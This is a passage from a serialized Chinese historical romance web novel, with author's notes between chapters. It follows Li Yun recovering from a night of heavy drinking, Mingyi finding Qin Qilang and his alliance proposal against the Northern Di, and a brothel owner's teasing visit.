最终实在熬不住,趴在他身侧睡了过去。 至于李赟是何时消停的, 她是一点不知。 兴许是每日五更便起, 就算喝了这三步倒, 翌日天才露鱼肚白, 他便迷迷糊糊醒了过来。 醒是醒了,脑子因为宿醉混混沌沌, 疼得厉害。后知后觉, 他才意识到自己怀中有一道温软身躯,正与他同被而眠。 他额角顿时一跳,垂眸一看, 借着熹微晨光, 见是明宜, 顿时松了口气。 但这口气还未彻底松下,却又觉得不对劲。此时他将人揽在怀中,一只手就环在对方腰间,若只是单纯环抱倒也罢了。 可他的手直接钻进了对方衣裳中, 掌心一片温软滑腻。 他对昨晚醉酒之后的事,毫无记忆,但两人这般姿势, 定是自己强行所为。 一个女子,如何挣得过醉酒的男人。 他强忍着头痛,默默打量了眼面带倦色、睡得深沉的女人,一时心如擂鼓。 自己昨晚不会…… 思及此,他脑子顿时清醒过来,赶紧抽出覆在对方腰间的手,猛然坐起来,又怕对方衣衫不整,先用被子紧紧将人裹住,这才摇了摇她:“三娘!” 明宜被他这番动静吵醒,迷迷糊糊睁开眼睛,嘟囔道:“阿兄,你醒了?还难受么?” 李赟望向她,认真道:“三娘,虽然昨晚我吃醉酒,但犯了错就该承担。三娘如何罚我,我都认了。” 明宜一脸茫然地问:“你犯什么错了?” 李赟抿抿唇:“我对三娘你……” 他还未说完,明宜已经反应过来,一边面红耳赤,一边又哭笑不得:“阿兄,你想什么呢?” 说着便坐起身,这才发觉衣衫略有些不整,也不知是睡着后被自己还是李赟弄乱的。 她倒也没太在意,随手将衣带系好,又轻笑问:“阿兄你现在清醒了吧?” 李赟点头:“除了头还有些疼,已无大碍。” 明宜抬眸看向他:“你还记得昨晚醉酒之后发生了何事么?” 李赟揉了揉额角,摇头道:“什么都不记得了。” 明宜下了榻,噗嗤笑道:“什么都不记得,怎知道犯了错?” 李赟微微一怔。 明宜继续道:“阿兄昨晚一直拉着我说话,我挣不开,又怕你出事,便守在你边上。至于其他的……” 说着她摸摸鼻子,轻咳一声,“阿兄也未免太高看自己,喝了整整一坛三步倒,酒劲上来,站都站不住,怎可能还有力气犯什么错?” 李赟抬眸望着她半晌,终于反应过来。清醒过来的不仅是脑子,还有身子。 宿醉之后的身体,虚软疲乏,与平日截然不同,更别提醉酒时有多无力。 他先是舒了口气,然后又有些遗憾般叹息一声:“那就好。” 这回轮到明宜一愣,这语气怎么听着挺可惜的啊? 见他下了榻,身体却微微有些踉跄,她赶紧上前扶了一把,不放心地问道:“阿兄,你当真没事?” 李赟稳住身子,深吸了口气:“是有点没力气。” “那你再躺着,我去让人再给你弄点醒酒汤过来。” 李赟这回没逞强,搭着她的手坐回榻上,又似是想到什么似的,抬眸看向她:“你说我昨晚一直拉着你说话,我说了什么?” 明宜想到昨晚那些话,强忍住笑意,对上他深灰色的眼睛:“阿兄你当真一点不记得了?” 李赟蹙眉想了想,脑中依旧一片空白,他摇摇头:“不记得了。” “那看来这三步倒是真有些厉害。” 明宜说着笑眯眯道,“喝醉了嘛,无非是东拉西扯些没用的话,还能说什么?” 李赟点点头:“那就好,我只怕说了什么冒犯的话。” 明宜心道,冒犯倒是不至于,就是小凉王那些绝不会与人说的心里话,全都一股脑掏出来了。 说来也奇怪,听了他絮絮叨叨一晚,如今她看他,只觉得与往常不大一样了。 哪怕这两个多月,两人早已熟悉,但大部分时候,她看他还是那个传闻中的小凉王,至多是更有血有肉一些。 但经过昨晚,她却觉得小凉王不只是有血有肉,他甚至也只是一个普通人。 也正是如此,她竟是觉得他似乎也有些可爱。 也不知小凉王听到人形容他可爱会作何感想,大概会恼羞成怒吧。 这样想着,明宜自顾自地低笑出声。 李赟狐疑地看向她。 觉察对方目光,明宜赶紧欲盖弥彰轻咳一声,道:“那阿兄你坐着,我出去唤人进来伺候。” “嗯,有劳三娘了。” 明宜对他行了个礼,转身出门。 只是嘴角没压下去的弧度,还是落在男人眼中。 李赟眉头微蹙,不知道她缘何会笑,但想来跟自己有关。 莫非是昨晚自己醉酒做了什么惹人发笑的丑态。 不过他也没太在意,人都醉了,难免是要出点丑的。 想着,脑子里忽然又浮现方才醒来时,放在对方腰间的手。 他垂眸,将手掌摊开,那上面似乎还留着对方身体的余温。 明明知道抱着人,竟然只是抱着,什么都没做? 这厢的明宜让人去唤了楚飞,自己则回了房间。 白芷也刚刚起来,看到她忙上前好奇问:“娘子,王爷怎么样了?我听楚飞说,他为了与摘星楼谈下生意,喝了一坛什么三步倒,说是能要人命的!” 明宜笑道:“已经没事了。” 白芷又随口问:“娘子,你照顾了王爷一晚上很累吧,我去让人送早膳过来,你吃了再好好睡一觉。” 明宜其实也不累,毕竟昨晚困了便直接睡下,一觉睡到天亮。 用过早膳,她还是不放心,想了想,还是再去看看李赟。哪知刚走到对方门口,便遇到换了衣裳的男人,从门内走出来。 明宜一愣:“阿兄,你这是要去作何?” 李赟道:“再和吴刺史商讨买马的事,粮草兵卒这些都要准备。” 明宜不由蹙眉道:“这事儿也不急于一时,那三步倒不是寻常烈酒,你还是再休息半日吧,其他的事暂且放一放。” 楚飞从后面跟上来抱怨道:“可不是么?小的让王爷休息,他一句不听,非要去忙庶务。夫人您瞧瞧,王爷脸色还白着呢!” 明宜一瞧,还真是。 昨晚醉酒时,满脸通红,如今酒劲一过,元气大伤,那脸色便很有几分苍白。 “阿兄,这些事又不是非要你亲力亲为,你何必难为自己?” 楚飞忙不迭点头附和:“就是。” 李赟看了看明宜,点点头:“行吧,那我就再休养半日。” 说着朝楚飞道,“你先去和吴刺史商量,安排好后来给我报告。” “还是夫人的话管用。” 楚飞笑嘻嘻拱手应诺,一边走一边道:“夫人,那王爷就麻烦你照看着,别让他又偷偷劳累。” 对方开了口,明宜也不好拒绝,只笑着点头:“嗯,你去忙你的。” 待人小跑着离开,她才蓦地反应过来。 楚飞竟叫她 “夫人”,“二”字是能省略的么? 但人已走,她也不好说什么,只随着李赟进了屋。 “阿兄,你若是有不舒服,可别强撑着。” 李赟没说话,只施施然在榻上坐下,然后抬眸,神色古怪地看向她。 自己昨晚虽然并未做什么,但两人也确实是同榻而眠。 思及此,他清了清嗓子:“昨晚让三娘受累了。” 明宜轻笑:“阿兄酒品甚好,我并未受累。” “待安排好这些事,我们便回凉州过冬。这些日子让三娘吃了不少苦,待回凉州,我会好好补偿。” 明宜笑:“这点苦与阿兄经年累月的辛劳比起来,实在不算什么。” 李赟淡声道:“谈不上什么辛劳,不过分内之事罢了。” 果然清醒的小凉王就是嘴硬。 “摘星楼在沙洲经营二十多年,靠得便是口碑和诚信,他们既是接下这单生意,无论如何都会完成,阿兄不用再担心。眼下就只剩募兵的事了。” 李赟点点头:“没错。” 明宜想了想道:“募兵一事宜早不宜晚,流民投了军还要训练,才能上战场,若是临阵磨枪,只怕是不行。” 李赟抬眸看向她:“你想说什么?” 明宜道:“我想帮阿兄。” 李赟皮笑肉不笑扯了下嘴角:“你想去帮我游说沙狼。” 明宜点头:“沙狼是大宁人,有一颗忠勇之心,他有心抵抗北狄,只是可能对阿兄有些误会,不愿投身阿兄麾下。” 李赟哂笑一声:“你倒是了解他。” 说着又看向她,“你就不能告诉我他到底是什么人?” 明宜摇头:“我不能说。” 然后又笑了笑,“不过若是阿兄同意让我去游说他,或许我能让他对阿兄坦白自己身份。” 李赟勾唇一笑:“你这么有信心?” “总要试一试。” 李赟沉吟片刻,轻笑道:“你本就是自由的,你要见他便去见好了,只不过只许谈招揽与募兵的事,不许谈其他。” 明宜嗤了声:“我和他说什么话,你又不知道。” 李赟挑眉:“我可以知道。” 明宜想起他那些神龙见首不见尾的暗卫,赶紧道:“你不许让暗卫跟着。” 李赟犹疑了一下,还是点头:“行。” 今日的小凉王似乎格外好说话,明宜不动声色看向他,恰好对上他意味深长的眸光。 两人从前也不是没对视过。 但眼下目光交汇,忽然就好像变得有些不同。 明宜望着那灰眸,清晰感觉到心中涌上一丝从未有过的悸动—— 作者有话说:今天稍微早点了,明天继续努力提前【..top】 70-80 第71章 第 70 章 我阿弟昨夜不告而别 人正说着, 外面有小厮来通报。 “王爷,秦娘子求见。” “带她进来。” 秦梦被小厮领着进来时,满脸焦灼, 大冷天里额上竟渗着汗。 明宜一惊:“秦姐姐, 你这是怎么了?” 秦梦朝两人拱了拱手:“我阿弟昨夜不告而别,我们在城中找了一整晚, 也没寻到踪迹。” “又跑了?” 明宜有些无奈地抽了下嘴角, 这可真是个不省心的家伙。她想了想问道,“他离开前, 可有什么异样?” 秦梦唉声叹气道:“回来这两日, 他一直不愿说话, 唯一提过的, 便是要报仇。我就怕他为了报仇,偷偷跑回北狄。” 明宜道:“他一个人去北狄, 岂不是去送死?他应该没这么莽撞吧?” 话一出口, 又想起从前的秦七郎,莽撞送死的事也不是没干过。 李赟道:“秦娘子此番前来,是希望本王帮你寻人?” 他本不想管那惹祸精, 可对方毕竟是秦将军之后, 秦梦既已求到这里, 他也不好置之不理。 果然,秦梦道:“城中有王爷的河西军,又有各路眼线,找个人应当不难。” 李赟哂笑一声:“你阿弟从前做鲁刺儿时, 没少在河西一带活动,我一次都没能抓到他。他若真心要走,只怕我那些眼线也拦不住。” 明宜插话道:“对了, 你找过沙狼吗?城中流民众多,你阿弟模样又颇为显眼,说不定沙狼能更快找到线索。” 秦梦道:“昨夜发现阿弟离开,我便立刻去找了沙狼。若非他那边今早仍无半点踪迹,我也不会贸然来求王爷。” 李赟轻咳一声道:“既然沙狼也找不到,那便只能由本王出面了。” 秦梦忙拱手作揖:“有劳王爷。” 李赟正要起身安排,明宜连忙拦住他:“你就别动了,让楚飞去办便是,我再陪秦姐姐一同去找找。” 秦梦这时才发觉李赟脸色不太对劲,忙问道:“王爷这是怎么了?” 明宜道:“昨夜去摘星楼商议募马之事,他喝了整整一坛三步倒。” 秦梦惊愕地睁大眼睛:“整整一坛三步倒?王爷快些歇息,我便不叨扰了。” 说着又难以置信,“我听闻那三步倒,寻常人莫说一坛,便是一杯下肚,都要昏睡两日,王爷竟只一夜便恢复如常,真乃海量!” 李赟不以为意道:“再烈的酒,终究也只是酒,不过是以讹传讹罢了。” 明宜笑道:“知道阿兄酒量好,可今日还是要好好休养,旁的事一概不许插手!” 若是旁人敢这般对小凉王发号施令,李赟只怕早已变脸。 当然,此刻的小凉王确实也变了脸色,只是嘴角不受控制地微微上扬,显然对这命令十分受用。 他好不容易才压下唇角,轻咳一声道:“嗯,我知道了,今日便在屋中静养一日。” 明宜满意地点点头,又对秦梦道:“秦姐姐,我们走吧。” 这些日子明宜的所作所为,秦梦已大致知晓,尤其是她几乎凭一己之力救回了阿弟性命,可谓有胆有谋。 有她一同寻人,秦梦心中莫名多了几分底气。 明宜还未踏出房门,李赟的声音忽然从身后传来:“早点回来。” “嗯。” “自己当心些。” “有秦姐姐在,阿兄尽管放心。” 可李赟想的却是,比起秦梦,他反倒更放心明宜。这两个月下来,他也算见识了她的本事,确实不必自己过多担忧。 听着院中的脚步声渐远,李赟坐回榻上,推开窗牖,目送那道身影消失在庭院深处,嘴角又不自觉地弯了弯。 虽不记得昨夜醉酒究竟说了些什么,可今日看明宜对自己的态度,似乎与往日有些不同。 具体是哪里不同,他也说不上来,只隐约觉得,两人之间好像更近了一些。 他合上窗牖,想着自己也确实许久未曾好好歇息,今日便安心静养一日。 “秦姐姐,你再仔细想想,你阿弟离开前,除了说要报仇,还提过别的吗?” 秦梦思忖片刻,道:“昨日白日,我见他一言不发,怕他把心事憋坏了,便说带他去城中逛逛。他却说,敦煌城里每个犄角旮旯他都去过,没什么可逛的。” 别说是敦煌,便是整个河西,秦七郎也早已熟稔于心。 明宜想起他从前常扮作行商,或许并非只是假扮。北狄物产贫瘠,他往返两地,除了打探消息,多半还兼做买卖。 若真是如此,那这敦煌城中,说不定还藏着他的人手。 明宜道:“走,秦姐姐,我们去南市看看。” “我阿弟如今这般情形,应当不会去人多繁杂之处吧?” 明宜道:“这可未必,只要他尚未出城,哪里都有可能。” 几人很快抵达南市。 这里是城中最热闹繁华的集市,店铺林立,货品琳琅满目,东西各路客商云集于此,其中尤以胡商居多。 北狄人虽也属胡族相貌,但不同地域的胡人长相各有差异,北狄人与寻常西域胡商区别不小,而北狄内部,不同部族的容貌又各有特征。 寻常人或许难以分辨,可明宜素来心思缜密、擅长观察,被秦七郎掳走那几日,她与十几名北狄拔延部人朝夕相处,对他们的长相特征早已熟记于心。 果不其然,转了半圈,她的目光便落在一间铁器铺里一个光着膀子打铁的汉子身上。 说是铁器铺,倒更像兵器铺,店内挂着各式刀枪。 那铁匠见有人在门口驻足,抹了把额头的汗,问道:“娘子,要买刀还是□□?” 明宜开口,用的竟是北狄拔延部的口音:“我要一把好刀。” 那汉子并未听出异样,只回道:“好,二位进去随意挑选,选好了叫我。” 明宜勾唇一笑,迈步走了进去。 秦梦一头雾水地跟在身后:“三娘子,怎么忽然要买刀?” 明宜没有答话,只打量着铺子。 这是最常见的前铺后院格局,通往后院的门上挂着一道黑色布帘。 打铁的汉子余光瞥见她走到帘前,连忙出声阻拦:“小娘子,你这是做什么?” 明宜猛地掀开布帘,对着空荡荡的院子扬声道:“秦七郎!出来吧,我知道你在这里!” 秦梦一头雾水地凑上前来。 那打铁的汉子也快步上前,面露不悦:“小娘子,怎可随意闯入他人私宅!” 话音刚落,院中正屋的房门便被推开,一道颀长身影缓步走出。 不是秦七郎,又是谁? “七郎!” 秦梦激动地大喊,“你怎么在这里?出门也不与阿姐说一声!” 秦七郎轻笑了一声:“阿姐,我只是出来找朋友叙叙话。” 说罢看向明宜,“三娘子果然不愧女诸葛,我藏在哪里都逃不过你的眼睛。既然如此,你为何不肯让我追随你?”—— 作者有话说:天啦,我怎么这么墨迹 第72章 第 71 章 我想光明正大求娶三娘子 明宜哂笑道:“秦七郎, 你一个长了八百个心眼子的家伙,以为我会信你?你执意要跟在我身边,是真为了报救命之恩, 或者无路可去?你怀着什么鬼胎, 只有你自己清楚!” 秦梦闻言顿时色变,赶紧为阿弟开解道:“三娘子, 我阿弟虽然聪慧, 但绝不是奸猾狡诈之人,他就是想给你做个护卫, 以报救命之恩。” 明宜看向秦梦:“秦姐姐, 你对你阿弟的了解, 停留在他八岁之前, 但他现在已是弱冠之年。” 秦梦一时哑然。 就在此时,那铁匠越过两人, 走到秦七郎跟前:“叶护, 这两位娘子是……” “说了以后不要再叫我叶护,叫我阿七便好。”秦七郎摆摆手,“你出去干活吧, 我这里不用操心。” “哦。”汉子点点头, 有些不放心地去了外面。 秦破虏从台阶走下来, 似笑非笑望着明宜道:“我承认对三娘子心怀鬼胎,毕竟窈窕淑女,君子好逑。” “你——”明宜被噎了一下。 “当初我掳三娘子去北狄,原本也是要娶三娘子为妻!如今我一无所有, 不敢再肖想能娶得三娘子,但能在旁边做个护花使者,日日见到三娘子, 便心满意足。” 他还略带着少年人的模样,是狭长黑眸看着却有几分真心实意的赤诚。 一旁的秦梦面上动容,拉着明宜道:“三娘子,我阿弟命苦,他是真心待你,若是这些话让你觉得冒犯,我替他给你赔个不是。” 明宜也差点被秦七郎这模样蒙骗。 不过她很快便回过神来,暗暗思忖片刻,忽然弯唇一笑,望着秦破虏道:“你们拔延部在河西有多少人?” 秦七郎微微一愣,继而又轻笑道:“大约几百人。” 明宜心中一惊,竟有这么多。 秦七郎又道:“三娘子放心,这几百人不过是来河西讨生活,都有正经营生,不是你以为的细作。” 明宜道:“但他们也听你发号施令不是么?” “同族兄弟姐妹,休戚与共,谈不上发号施令。这几百人多是来这边讨生活的男子,大都有父母妻小留在北狄,如今拔延部被驱逐,去了更北边的不毛之地,他们自然都想将族人救出来,希望我能帮上忙。” 明宜笑:“话都说到这份上,你也就别再说要追随我的话。你有什么打算或者谋划,开门见山直接说吧!” 秦七郎粲然一笑,愈发显出几分少年气:“三娘子此言差矣,先前我确实只打算追随三娘子,做个护花使者。是昨日见了拔延族人,才略略改变主意。” 原本秦梦觉得这两人跟打哑谜似的,听得她一头雾水,这会儿才算反应过来:“七郎,你还想做什么?咱们好不容易团聚,安生过日子便好。” 秦七郎摆摆手:“阿姐,我们如今乃是流民,流民能过什么安生日子?” 秦梦道:“我们已经投了小凉王麾下。” 秦七郎轻笑一声:“我们秦家军难道要在别人手下讨饭吃?” “七郎——”秦梦蹙眉道。 秦七郎摆摆手,看向明宜道:“不过虽然我略略改变了主意,但也确实还想要追随三娘子。” 明宜道:“你先说你的打算吧。” “北狄大军最迟明年春夏交际便会南侵,他们有多少兵马,有哪些大将,擅长什么战术,小凉王安插在北狄的所有暗线加起来,也不会比我更清楚。” 明宜当然不会怀疑他的话。 秦七郎继续道:“我们拔延部除了在河西几百人,在北狄还有六七千人,虽不少妇孺,但拔延部妇孺也都通骑射。我可以带整个拔延部和小凉王合作,助他灭掉北狄。” 明宜笑:“若你真有此打算,小凉王定欢迎至极,你与他直接商讨便好。” 秦七郎却是摇摇头:“小凉王不会信任我,而我也只是想与他合作,并不是投他麾下。所以这事我只与三娘子谈,由三娘子做我和小凉王之间的桥梁,我也只信得过三娘子。” 明宜沉吟,若秦破虏率领拔延部与河西军一起对抗北狄,小凉王的胜算便大大增加。 只是这人才弱冠之年,便已有如此心机,实在是不容小觑,只怕是野心勃勃。 他不投靠只合作,那灭北狄之后呢? 他会不会成为下一个北狄大汗? 这样一来,只怕是养虎为患。 明宜微微眯眼看向他,好整以暇问道:“你的目的,应该不只是为了报仇和救拔延部族人吧?” 秦七郎勾唇轻笑:“我知道三娘子在想什么?不过你属实是多虑了,我没那么大野心,而且我始终是大宁人。不过我确实也有一些小小的请求!” “你说。” “第一,我要小凉王和三娘子帮秦家翻案。” “这是自然,早几年便有臣子提过此事,不过秦家无人,也就不了了之。只要这回你能帮忙灭掉北狄,为秦家翻案不过是小事一桩。” “第二,我会带领拔延部投靠大宁,就像当年凉王的沙狄族一样。在灭掉北狄,收复北庭后,我会带我阿姐和秦家军残兵回去,也让拔延部在此安营扎寨,为大宁戍边。”说到这里,他微微顿了下,“也得有个名正言顺的名义,所以我需要大宁圣上封我为北庭王。” 明宜暗笑,还说没野心,我看野心也不小。 她思忖片刻,道:“其他的事都好说,但封王一事,我不敢与你保证。朝廷本就有些忌惮小凉王,他若为你请封,只怕没那么容易。” “所以我才说我只追随三娘子。” “难不成你觉得我一个女子能为你请封?我连皇上都没见过几次。” 秦七郎道:“小凉王不是贪功之人,这回若是能彻底除掉狄患,他定会向圣上呈表三娘子功绩,届时三娘子便能见到皇上。以三娘子的智慧,难道还说服不了皇帝封一个小小的北庭王?当然……” 说这里,他顿了下,又才继续:“理由我也替三娘子想好。河西之内,只知凉王不知朝廷已经多少年,狄患若灭,河西军便是大宁边患。而我乃是纯正大宁人,还是忠良之后。北庭在河西以北,小凉王若是想扩张领域,得过我这一关。北庭河西互相节制,这对大宁朝廷来说,可是最省事的戍边之策。” 明宜失笑:“你这理由确实不错。” 她面上云淡风轻,心中却是暗暗庆幸。 幸好北狄太子是个短命鬼,若是太子上位,秦七郎做了北狄大汗心腹,小凉王要应付这个祸害,只怕是没那么容易。 而他甚至才弱冠之年,还有得是时间继续成长。 谢天谢地,北狄太子死得早。 也感谢他到底姓秦。 秦七郎展眉一笑:“毕竟要有个尊贵的身份,我才好光明正大求娶三娘子。” 明宜脸色一沉:“这个你就别想了。” 秦七郎笑:“小凉王都能肖想自己弟妹,我想光明正大求娶三娘子,何错之有?” “你休要胡说八道。” “我可没胡说,明眼人都能看出来他对你什么心思。” 这回不等明宜否认,秦梦赶紧上前拍了秦七郎一下,啐道:“七郎,别胡说八道!” 秦七郎挑挑眉,倒是没再说什么。 不过秦梦也算是放了心,先前还以为阿弟万念俱灰,生怕他做傻事,没想到他不仅没放弃,还已经做好筹谋。 思及此,她又笑盈盈对明宜道:“三娘子,我阿弟说的混账话你就当没听见,不过既然他有心与王爷合作,共同对付北狄,还望三娘子与王爷好好说道。” 明宜笑着点头:“嗯,我会和王爷好好说。不过……”她顿了下,“秦姐姐这位阿弟实在是太不老实,还请你好生看着他。” “三娘子放心,我会的。”说着便朝秦七郎斥道,“以后要去哪里,可一定要与阿姐说,万万不可再像昨晚那样不告而别。” 秦七郎笑眯眯道:“阿姐放心,以后不会了。”说着又好奇问明宜,“不知三娘子如何找到这里的?” 明宜道:“先前你们在扮做商队在望东村,没有任何人看出问题,我便猜想你们应该不是假装,而是真的有行商,既是如此,你们必定还有人在沙洲甚至河西做生意。” “仅凭这个?敦煌城内到处都是胡商,你怎么就找到这一家。” “拔延族长相有自己的特点,我看外面那铁匠与你那些族人有些相似,问他话时,忽然插了一句拔延口音,他没有反应过来,那便是了。” “原来如此!”秦七郎笑着点头,“看来以后我是不能与三娘子玩花样了。” 他话音刚落,就被秦梦毫不客气地给了一个暴栗:“你还想玩花样呢!以后给我老老实实的。” 秦七郎捂着脑门,孩子气地嘟囔道:“阿姐,我都这么大了,你怎么还像小时候一样说上手就上手?” “你多大都是我阿弟。” “嗯,没错。” 明宜默默看了看两人,道:“秦姐姐,既然秦七郎没事,那我便回去了,也好让王爷放心。” “我们送你回去。” “不用了,你好好看着秦七郎就行。” 明宜疾步转身出了门。 秦七郎的事,她得马上告诉李赟,虽然也算是与虎谋皮,但总归是好事。 而犹留在院中秦家姐弟,目送人匆匆离开后,不约而同看向彼此。 秦梦蹙起眉头:“七郎,你真想求娶三娘子?” “那是自然。” “我看人家对你没那个心思,这种事还是不要强求。” “小凉王能强求,我就强求不得?” 秦梦压低声音试探问道:“小凉王真对三娘子有意?” “你说呢?” 秦梦摸摸头:“我没看出来啊!” “阿姐,你说说你都而立之年,怎么一点男女之情都不懂?” “说得你好像很懂似的。” “反正比你懂。”秦七郎边说边上下打量对方一眼,“阿姐,你如今真是一点女人样子都没有,可怎么嫁出去哦!” 他的阿姐也曾是风华正茂的美人,过去十几年本该是她最好的年华,却被颠沛流离吞没。 他要将秦家失去的一切都拿回来。 秦梦不以为意道:“我又没打算嫁人。” “那不好吧。” “若我们真能回北庭安居,我就招个郎君在家。” 秦七郎噗嗤笑道:“我看行。”—— 作者有话说:作为一个战力党,我划分一下武力值。 文里三个男的武力值都是顶尖,如果是点到即止的擂台赛,是不分胜负的,但真打起来,沙狼胜算最小。因为他心善不喜欢杀人总会留一线,弱点就会比较多。 小凉王和秦七郎都是狠角色,小凉王占一个经验优势,但秦七郎心眼子多,四六开吧,男主光环加一分哈哈哈。 女主除了箭术顶尖,纯武力很一般,但是她站在谁那边,那谁就必然胜,跟之前假昙迦一样,可以迅速破解对方弱点,也就是王语嫣那种武术理论学家。 这个作者真无聊! 没办法我其实当武侠来写的哈啊哈或。 第73章 第 72 章 若是别的伤倒也罢,偏偏…… 说是好好休息, 但李赟平日忙惯了,整个上午也就眯了一会儿。 饶是如此,他始终也是老老实实躺着, 及至下人来送午膳才起来。 也就在这时, 明宜回来了。 “阿兄——” 因着急于将秦破虏的事,告知李赟, 她行得很是匆忙, 以至于双颊在天寒地冻的日子,都泛起了两片红霞。 李赟见状眉头不由得蹙起:“发生何事了?” 明宜在他对面坐下, 也没了往常的淑女风范, 自顾自地拿过桌上空杯, 为自己斟了杯热茶, 狠狠喝了口才道:“秦七郎寻到了。” 李赟看着她手中本属于自己的杯子,淡声道:“寻到就寻到了, 有必要这么激动?” 明宜抹了下嘴角水渍, 道:“由不得我不激动,阿兄,这秦七郎可真是不得了。” “哦?说来听听!” 明宜喘了口气, 将秦七郎的事一五一十讲给了他。 哪知, 李赟并没有露出开心的神色, 反倒眉头越蹙越深。 明宜见他这模样,不由得有些疑惑:“阿兄是信不过秦七郎么?” 李赟摇头:“我信他是诚心要对抗北狄,只是既是要与我合作,却不与我直接商谈, 只让你来牵线搭桥,这司马昭之心也未免有些明显了。” 明宜说的那些话,自是省去了秦七郎说要求娶自己的事, 比起抵抗北狄,那不过是几句混账话,她也并不放在心上。 眼下听李赟这么说,不由得好笑道:“阿兄,比起他手中筹码,就算有什么司马昭之心,又有何关系?”见对方蹙眉看过来,她又赶紧补充一句,“总归我也不会对他这种人有什么心思,小小年纪八百个心眼子。” 李赟闻言轻笑出声:“说到小小年纪,他至少还比你年长一些。” “再过两年,我也做不到他这个地步。” “那是因为你是女子。三娘若是男儿身,只怕早拜将封侯!” 明宜虽然觉得好笑,心中却也为这样的夸奖开心,只是嘴上依旧道:“阿兄谬赞了,我做的这些小事,与阿兄上战场杀敌如何能比?” 李赟道:“就算三娘不能拜将封侯,待灭了北狄,我也定会为你在圣上面前请功。” 明宜微微一怔,这倒是又叫秦七郎说中了。 当然,秦七郎不说,她也知道李赟定会如此。 她想了想:“此事日后再议,眼下还是秦七郎的事最重要,若是阿兄觉得可行,我这就去给他回复。” “不急。”李赟招招手,让小厮再拿一副碗筷来,“三娘不是让我好好休息么,咱们先吃饭,庶务上的事,明日再谈。” 明宜看了看他,忽的低笑出声:“这倒是不像阿兄的做派。” 李赟也笑,漫不经心道:“三娘说的话,为兄自然要听。” 明宜耳根微微一热,却也不知为何听到这话,心中不像从前那样不安,反倒有些暗喜。 她轻咳一声:“如今大敌当前,总归阿兄一定要保重身体。如今就算天子驾崩,阿兄也不能有事。” 李赟瞥她一眼,佯装嗔道:“大逆不道!” “我说的是句实在话,再说这里也没有旁人。” 李赟失笑摇头,继而又想到什么似的,淡声道:“往后旁人不好听到的话,三娘单独说给我听便好。” 明宜道:“除了大逆不道的话,我可没有别的话只有阿兄能听,旁人不能听的。” 李赟:“那可不一定。”罢了,又补充一句,“反正我是有很多话,只能三娘听,旁人不能听。” 明宜一听这话题又要歪掉,赶紧道:“阿兄快用膳吧。” 李赟不动声色瞧了她一眼,如今两人相处甚好,自己也不好步步紧逼,总归人就在身旁,自己心意也已说明。 来日方长。 两人将将吃完,外面便又有小厮来通报:“王爷,望春楼叶老板求见。” 李赟:“带她进来吧!” 明宜欲起身:“那你们聊,我先回房了。” 李赟道:“你就在这,也好正式与叶老板认识一下。” “哦。”明宜又讪讪坐下。 叶弥儿被下人领进来时,见屋中除了李赟,还有一人,虽着男装,却一眼便能瞧出是个女子。 想来便是那位随李赟来沙洲的西平侯夫人了。 “民女见过王爷侯夫人。” 叶弥儿在门口行了礼。 她穿着一身丁香紫长袍,外罩狐裘领红色披风,妆容精致,跟上回一样明艳动人。 她只身前来,没带侍女,手中提着几个锦盒,行了礼便好奇朝明宜看过来。 明宜起身与她回个礼:“叶老板。” 叶弥儿一早就听说李赟这次西行,带着他那位新寡的弟妹,虽然觉得这不是小凉王做派,但想着或许是怜惜弟妹丧夫之痛,出于兄长之礼,带人出来散散心。 后来又听说李赟带着人,乃是因为侯夫人会番语,她便生了疑窦。 在沙洲,会几门番语的人比比皆是,还怕找不到译人? 眼下亲眼见到侯夫人,她心中愈发狐疑。 听闻侯夫人乃是京城双姝之一,今日一见,确实名不虚传,只是她本以为对方是传闻中娇弱贵女,不想对方虽容貌秀雅,举手投足并十分从容,眼神也无忧愁之色,倒是坚定坦然,有几分沙洲女儿的飒爽。 “叶老板有事?”李赟开口将叶弥儿的思绪拉回。 叶弥儿走上前,将手中锦盒放在桌上,自顾坐下道:“听闻昨晚王爷在摘星楼喝了一坛三步倒,我有些担心,特带了些补身子的药材来探望王爷。” “叶老板有心了,不过一坛酒罢了,我没事的。” “我开望春楼这些年,别的不敢说,对酒定是比王爷更了解。这三步倒乃是摘星楼秘制烈酒,专门逼退不愿合作的客人。我听说王爷喝完一坛,清醒地走出了摘星楼。但王爷可千万莫大意。喝了这酒,不是看着没事便没事的。” 李赟轻笑:“莫非看着没事,但其实已经内伤?” “这可不好说。”叶弥儿笑盈盈道,“先前我们望春楼有两个客人,为了我手下一个姑娘争风吃醋,最后从摘星楼弄来一坛三步倒,说是谁先倒下谁退出。你道怎么着?” “怎么着?”明宜好奇接话。 叶弥儿似笑非笑看了眼她,继续道:“其中一个一杯下肚便不省人事,另一人喝完一杯,当时只是微醺,哪晓得一觉醒来——” 说到这里,她忽然顿住,意味深长地看向李赟。 李赟端起茶水呷了口,道:“你是来我这里说书么,还卖起关子来?” 叶弥儿轻咳一声:“这不是有些不好说么?” 李赟一脸莫名:“无非是喝酒伤身,这有何不好说?” 叶弥儿掩嘴道:“那人确实是伤了身,若是别的伤倒也罢,偏偏是不能人道了,后来四处寻医求药,过了半年才好转。反而是那一杯不省人事的,翌日醒过来,什么事都没有。” 李赟脸色一僵,没好气道:“休要胡说八道,就算真此事,与我何干,我好得很。” 说着下意识瞧了眼明宜,只见对方低着头,也不知是尴尬还是想笑。 实际上明宜又尴尬又有点想笑。 叶弥儿道:“王爷未曾娶妻,身边又无侍妾,怎知自己没事?依我看,王爷不如去望春楼,我手下那些姑娘,可是个个都倾慕李郎,定是愿意与你一试,这样你也好放心。”说着看向明宜,“侯夫人,你是过来人,你说是不是?” “啊?”明宜讪讪轻咳一声,没回答如此荒谬的问题,只悄咪咪看了眼李赟。 此时的小凉王脸色铁青,是个恼羞成怒的样子,咬牙切齿道:“多谢叶老板关心,本王身子好得很,你若是没旁的事,那就好走不送。” 叶弥儿笑将锦盒推到他跟前:“这都是我望春楼搜集的一些大补药材,王爷应是用得上。不管怎样,王爷你还未娶妻生子,可千万大意不得,凉王府就只你一人,传宗接代还得指望你呢。” “送客!”李赟高声朝门口的小厮道。 叶弥儿啧了声,摇摇头道:“哎,这世间男子皆是如此,连小凉王也不例外。不过王爷你别急着赶我走,我还有一事呢。” 李赟:“说!” “先前你译人救我一命,我还没好好感谢,今日来探望王爷,正好一并感谢他。” “不用了!”李赟道。 叶弥儿道:“我是要重金酬谢那位救命恩人,王爷都没让我见到人,怎能擅自替人做主?” “我说不用就不用,咱们凉王府的人,不缺你那点重金。” “译人只是你凉王府下人,又不是主子,怎的就不缺重金?”说到这里,她忽然意识到什么似的,看向明宜。 明宜见状,只得朝她拱拱手道:“叶老板,那日的译人正是我假扮。” 